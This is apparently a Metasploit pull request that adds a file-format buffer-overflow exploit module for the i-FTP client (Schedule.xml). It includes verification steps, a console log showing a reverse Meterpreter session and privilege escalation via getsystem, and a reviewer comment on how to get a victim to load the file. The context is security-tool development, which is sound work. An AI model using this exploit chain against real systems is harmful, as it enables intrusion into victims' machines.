Add module for i-FTP (OSVDB-114279)

This is an MSF port of http://www.exploit-db.com/exploits/35177.

# Verification steps
 - [ ] Copy Schedule.xml to C:\Program Files\Memecode\i.Ftp
 - [ ] Start the application

Tested on Windows XP SP3, test run results below:

```
msf > use exploit/windows/fileformat/iftp_schedule_bof
msf exploit(iftp_schedule_bof) > run

[*] Creating 'Schedule.xml' file ...
[+] Schedule.xml stored at /home/gabor/.msf4/local/Schedule.xml
msf exploit(iftp_schedule_bof) > use exploit/multi/handler 
msf exploit(handler) > run

[*] Started reverse handler on 192.168.17.131:4444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.17.129
[*] Meterpreter session 1 opened (192.168.17.131:4444 -> 192.168.17.129:1063) at 2014-12-21 16:15:28 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer        : GABOR-03722ADE8
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```
Is it reasonable to think the name can be anything *other* than Schedule.xml (with leading capital S?) and the exploit will still work? AFAIK, double-clicking on a *.xml file will auto-launch the default browser.

I'm just trying to figure out how to actually get someone to do this. You need to get the victim the Schedule.xml file, get him to start his vulnerable client, then get him to load Schedule.xml from within the client?

I don't mind the convoluted exploit path, but it should be more clear in the Description if it's more involved than e-mailing the victim a file for them to double-click.